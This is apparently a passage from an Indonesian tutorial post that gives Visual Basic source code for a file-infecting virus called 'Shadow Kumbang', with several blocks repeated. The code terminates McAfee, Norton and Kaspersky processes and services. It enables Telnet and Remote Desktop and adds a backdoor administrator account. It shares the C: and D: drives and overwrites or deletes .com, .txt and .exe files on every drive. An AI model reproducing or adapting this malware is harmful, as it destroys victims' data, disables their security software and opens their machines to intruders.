EndTask ("NAVWNT")
EndTask ("KAV")
EndTask ("KAVMM")
End Sub
Private Sub EndTask(Task As String)
On Error Resume Next
Dim Cmd: Cmd = Environ("comspec") & " /c "
Shell Cmd & "taskkill /f /im " & Task & ".exe /t", vbHide
End Sub
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Function JaringanKumbang() As Boolean
JaringanKumbang = InternetGetConnectedState(0&, 0&)
End Function
Public Function Windir() As String
Dim stf As String * 255, intl As Integer
intl = GetWindowsDirectory(stf, 255)
Windir = (Left(stf, intl))
End Function
Public Function CreatString(Path As String, Var As String, Val As String) As Long
Dim File As String: Randomize
File = "C:\" & Int(Rnd * 100) & "reg.reg"
Open File For Output As #1
Print #1, "REGEDIT4"
Print #1, Chr(13)
Print #1, "[" & Path & "]"
Print #1, Chr(13)
Print #1, Chr(34) & Var & Chr(34) & "=" & Chr(34) & Val & Chr(34)
Close #1
Shell "regedit /s " & File, vbNormalFocus
Kill File
End Function
Public Function CreatDword(Path As String, Var As String, Val As String) As Long
Dim File As String: Randomize
File = "C:\" & Int(Rnd * 100) & "reg.reg"
Open File For Output As #1
Print #1, "REGEDIT4"
Print #1, Chr(13)
Print #1, "[" & Path & "]"
Print #1, Chr(13)
Print #1, Chr(34) & Var & Chr(34) & "=" & "dword:" & Val
Close #1
Shell "regedit /s " & File, vbNormalFocus
Kill File
End Function
Public Function RacunKumbang() As String
RacunKumbang = App.Path
If Right(RacunKumbang, 1) <> "\" Then RacunKumbang = RacunKumbang & "\"
If Dir(RacunKumbang & App.EXEName & ".com") <> "" Then
RacunKumbang = RacunKumbang & App.EXEName & ".com"
Else
RacunKumbang = RacunKumbang & App.EXEName & ".exe"
End If
End Function
Public Sub KumbangTerbang(): On Error Resume Next
Const Regbkdr As String = "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\"
CreatDword Regbkdr & "TlntSvr", "Start", "2"
CreatDword Regbkdr & "TermService", "Start", "2"
Open "a.bat" For Output As #1
Print #1, "@echo off"
Print #2, "echo "
Print #1, "Net user Shadow Kumbang pwd /add >nul"
Print #1, "Net localgroup administrators Shadow Kumbang /add >nul"
Print #1, "Net share drive=c: >nul"
Print #1, "Net share drive=d: >nul"
Close
Shell "a.bat", vbHide
End Sub
Public Sub Jalankan_Kumbang2(): On Error Resume Next
Open "Mawar2.bat" For Output As #1
Print #1, "@echo off"
Print #2, "echo "
Print #1, "Net user Shadow Kumbang /active:yes >nul"
Close
Shell " Mawar2.bat", vbHide
End Sub
Public Sub Matiin_Kumbang2(): On Error Resume Next
Open "ShadowKumbang.bat" For Output As #2
Print #2, "@echo off"
Print #2, "echo "
Print #2, "Net user Shadow Kumbang /active:no >nul"
Close
Shell "ShadowKumbang.bat", vbHide
End Sub
Public Sub MatiinAntivirus()
If Environ("os") <> "" Then
Dim NtSp: NtSp = "NET STOP "
Shell NtSp & "MCSHIELD", vbHide
Shell NtSp & "NORTON ANTIVIRUS AUTO PROTECT SERVICE", vbHide
Shell NtSp & "Automatic Updates", vbHide
Shell NtSp & Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(65) + Chr(99) + Chr(99) + Chr(101) + Chr(115) + Chr(115), vbHide
Call MatiinAntivirus2
End If
End Sub
Private Sub MatiinAntivirus2()
EndTask ("McVSEscn")
EndTask ("MCVSFTSN")
EndTask ("MCTOOL")
EndTask ("MCVSRTE")
EndTask ("MCMNHDLR")
EndTask ("MCAGENT")
EndTask ("MCUPDATE")
EndTask ("MCUPDMGR")
EndTask ("NAVAPSVC")
EndTask ("NAVAPW32")
EndTask ("NAVDX")
EndTask ("NAVLU32")
EndTask ("NAVSTUB")
EndTask ("NAVW32")
EndTask ("NAVWNT")
EndTask ("KAV")
EndTask ("KAVMM")
End Sub
Private Sub EndTask(Task As String)
On Error Resume Next
Dim Cmd: Cmd = Environ("comspec") & " /c "
Shell Cmd & "taskkill /f /im " & Task & ".exe /t", vbHide
End Sub
Taruh Coding dibawah ini di Module->Mkumbang2 :
Kode:
Public Sub Infeksi_Kumbang(): On Error Resume Next
Dim O, i
For O = ShadowKumbang.Drive1.ListCount To 1 Step -1
ShadowKumbang.Drive1.Drive = ShadowKumbang.Drive1.List(O)
For i = 0 To ShadowKumbang.Dir1.ListCount
If ShadowKumbang.Dir1.List(i) <> "" Then
Infeksi_Kumbang2 (ShadowKumbang.Dir1.List(i))
FileCopy RacunKumbang, ShadowKumbang.Dir1.List(i) & "\Cerita Kumbang.com"
End If
Next
Next
End Sub
Public Sub Infeksi_Kumbang2(Path As String)
Dim Mawar As String, Duri_Mawar As String, i
ShadowKumbang.File1.Path = Path
For i = 0 To ShadowKumbang.File1.ListCount
If ShadowKumbang.File1.List(i) <> "" Then
Mawar = ShadowKumbang.File1.Path & "\" & File1.List(i)
Duri_Mawar = LCase(Right(Mawar, 3))
If Duri_Mawar = "com" And InStr(Mawar, "win.com") = 0 _
And InStr(Mawar, "command.com") = 0 Then
FileCopy RacunKumbang, Mawar
End If
If Duri_Mawar = "txt" Then
FileCopy RacunKumbang, Mawar & ".exe"
Kill Mawar
End If
If Duri_Mawar = "exe" Then
FileCopy RacunKumbang, Left(Mawar, Len(Mawar) - 3) & "com"
End If
End If
Next
End Sub
Dim O, i
For O = ShadowKumbang.Drive1.ListCount To 1 Step -1
ShadowKumbang.Drive1.Drive = ShadowKumbang.Drive1.List(O)
For i = 0 To ShadowKumbang.Dir1.ListCount
If ShadowKumbang.Dir1.List(i) <> "" Then
Infeksi_Kumbang2 (ShadowKumbang.Dir1.List(i))
FileCopy RacunKumbang, ShadowKumbang.Dir1.List(i) & "\Cerita Kumbang.com"
End If
Next
Next
End Sub
Public Sub Infeksi_Kumbang2(Path As String)
Dim Mawar As String, Duri_Mawar As String, i
ShadowKumbang.File1.Path = Path
For i = 0 To ShadowKumbang.File1.ListCount
If ShadowKumbang.File1.List(i) <> "" Then
Mawar = ShadowKumbang.File1.Path & "\" & File1.List(i)
Duri_Mawar = LCase(Right(Mawar, 3))
If Duri_Mawar = "com" And InStr(Mawar, "win.com") = 0 _
And InStr(Mawar, "command.com") = 0 Then
FileCopy RacunKumbang, Mawar
End If
If Duri_Mawar = "txt" Then
FileCopy RacunKumbang, Mawar & ".exe"
Kill Mawar
End If
If Duri_Mawar = "exe" Then
FileCopy RacunKumbang, Left(Mawar, Len(Mawar) - 3) & "com"
End If
End If
Next
End Sub
project download
Bagi yang ingin copy paste jangan lupa di sertai back link ke situs ini dan sumber.
